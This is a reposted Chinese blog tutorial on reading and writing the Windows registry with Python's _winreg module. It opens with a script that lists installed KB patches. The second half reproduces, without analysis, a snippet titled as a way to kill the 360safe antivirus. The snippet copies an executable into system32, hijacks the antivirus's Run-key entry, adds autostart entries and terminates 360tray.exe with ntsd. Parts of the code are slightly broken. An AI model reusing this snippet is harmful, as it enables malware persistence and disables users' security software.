转 使用Python访问Windows的注册表

在Python的标准库中,_winreg.pyd可以操作Windows的注册表,另外第三方的win32库封装了大量的Windows API,使用起来也很方便。不过这里介绍的是使用_winreg操作注册表,毕竟是Python自带的标准库,无需安装第三方库。

下面的例子是通过Python获取Windows XP下已经安装的补丁号。Windows的补丁号都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\ Updates”下,通过循环下面所有的目录节点,如果找到的名称符合正则表达式KB(\d{6}).*,则表示是一个补丁号。

从例子可以看出操作起来非常的简单和快速。

# -*- coding: utf-8 -*-
# 获取Windows的已打的补丁号
from _winreg import *
import re

def subRegKey(key, pattern, patchlist):
    # 个数
    count = QueryInfoKey(key)[0]
    for index in range(count):
        # 获取标题
        name = EnumKey(key, index)
        result = patch.match(name)
        if result:
            patchlist.append(result.group(1))
        sub = OpenKey(key, name)
        subRegKey(sub, pattern, patchlist)
        CloseKey(sub)

if __name__ == ‘__main__‘:
    patchlist = []
    updates = ‘SOFTWARE\\Microsoft\\Updates‘
    patch = re.compile(‘(KB\d{6}).*‘)
    key = OpenKey(HKEY_LOCAL_MACHINE, updates)
    subRegKey(key, patch, patchlist)
    print ‘Count: ‘ + str(len(patchlist))
    for p in patchlist:
        print p
    CloseKey(key)

http://tenyears.cn/index.php/2007/01/26/python-win-registry.html

用python修改注册表干掉360safe
import _winreg
import os
import shutil

#复制自身
shutil.copyfile(‘K3.exe‘,‘c:\WINDOWS\system32\K3.exe‘)

#把360启动改为自身
run = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
      )

_winreg.SetValueEx(
      run,"360Safetray",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )

#添加自启动
self = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
      )

_winreg.SetValueEx(
      run,"k3",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )
#添加所有用户启动
allrun = _winreg.OpenKey(
      _winreg.HKEY_LOCAL_MACHINE,
      "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE
      )
_winreg.SetValueEx(
      allrun,"k3",0,_winreg.REG_SZ,
      r"C:\WINDOWS\system32\k3.exe"
      )

#终止360进程
os.popen("ntsd -c q -pn 360tray.exe cmd")

引自:http://www.hacker.com.cn/article/view_13879.html

时间: 2024-10-12 21:12:02

转 使用Python访问Windows的注册表的相关文章

转 Python模块——_winreg操作注册表

Python模块--_winreg操作注册表 (2010-01-22 13:47:01) 转载▼ 标签: python _winreg 注册表 删除键 name 默认网关 utf-8 it 分类: Python 用python操作修改windows注册表,显然要比用C或者C++简单. 主要参考资料:官方文档:http://docs.python.org/library/_winreg.html 通过python操作注册表主要有两种方式,一种是通过python的内置模块 _winreg,另一种方式

[转]Windows系统注册表知识完全揭密

来源:http://www.jb51.net/article/3328.htm Windows注册表是帮助Windows控制硬件.软件.用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0.通过Windows目录下的regedit.exe程序可以存取注册表数据库.在以前,在windows的更早版本(在Win95以前),这些功能是靠win.ini,system.ini和其他

windows 备份注册表

备份注册表 点“开始”,在“运行”中输入Regedit,启动注册表编辑器.注册表编辑器的使用较简单,用鼠标的右键可提高工作效率,但要提醒的是在对注册表做任何修改之前,必须将注册表备份,不然的话,可能因为某些改动而导致系统无法启动. Windows注册表数据库基本上由SYSTEM.DAT和USER.DAT组成,而且Windows为了提高它的可靠性,免遭意外破坏,每次启动时都把注册表备份到SYSTEM.DA0和USER.DA0.如果系统启动出错,我们还可以在Dos下进入Windows目录里,用Att

windows下注册表脚本编写

Reg文件就是我今天所说的注册表脚本文件,双击可将其中的数据写入注册表.利用注册表脚本文件可以对注册表进行关于键值的任何操作,而且还不受注册表被禁用的限制.     我们平常对注册表的修改大体上可以分为两种:     1.对注册表子键的修改;     2.对子键下的键值的修改;     下面依次对这两种修改做个简略的介绍.    一,对子键的修改(1)添加子键     操作:只需在主体文件部分加入"[ ]"即可     例如:在HKEY_CURRENT_USER/Software下添加

Python写自动化之注册表的读写操作

Windows上的自动化测试经常会接触到对于注册表的读写操作问题,比如,获取一个程序的安装目录,一般情况下,我们可以去注册表的App Paths下去查找,这时就涉及到了注册表的读取操作,我们使用Python的_winreg模块来实现,代码如下: def reg_query(path, key): try: path = path.replace("/", "\\") rootName = path[:path.find("\\")] subPat

C# 32位程序访问64位注册表

接上文:http://www.cnblogs.com/TaiYangXiManYouZhe/p/5086974.html 上代码: RegistryKey localKey; if (Environment.Is64BitOperatingSystem) localKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); else localKey = RegistryKey.OpenBa

Windows -- 从注册表删除IE浏览器加载项

1.  一部分加载项从注册表以下位置直接删除 2.  一部分扩展项从注册表以下位置直接删除 原文地址:https://www.cnblogs.com/ChengWenHao/p/WindowsIEExtensionsDel.html

DACL原理.控制文件的访问权限(文件,注册表.目录.等任何带有安全属性的对象.)

目录 一丶简介 1.DACL是什么. 2.如何创建一个自己控制的文件. 3.SDDL是个什么鬼. 二丶 编写SDDL 控制的文件 一丶简介 1.DACL是什么. DACL称为自主访问的控制列表.是应用程序开发必要且重要的部分.由于空DACL 允许对所有用户进行类型的访问.所以一般程序开发中都是传入NULL 比如创建文件 原型: HANDLE CreateFileA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSE

给python解释器本身添加注册表

import sys from _winreg import * # tweak as necessary version = sys.version[:3] installpath = sys.prefix regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version) installkey = "InstallPath" pythonkey = "PythonPath" pythonpat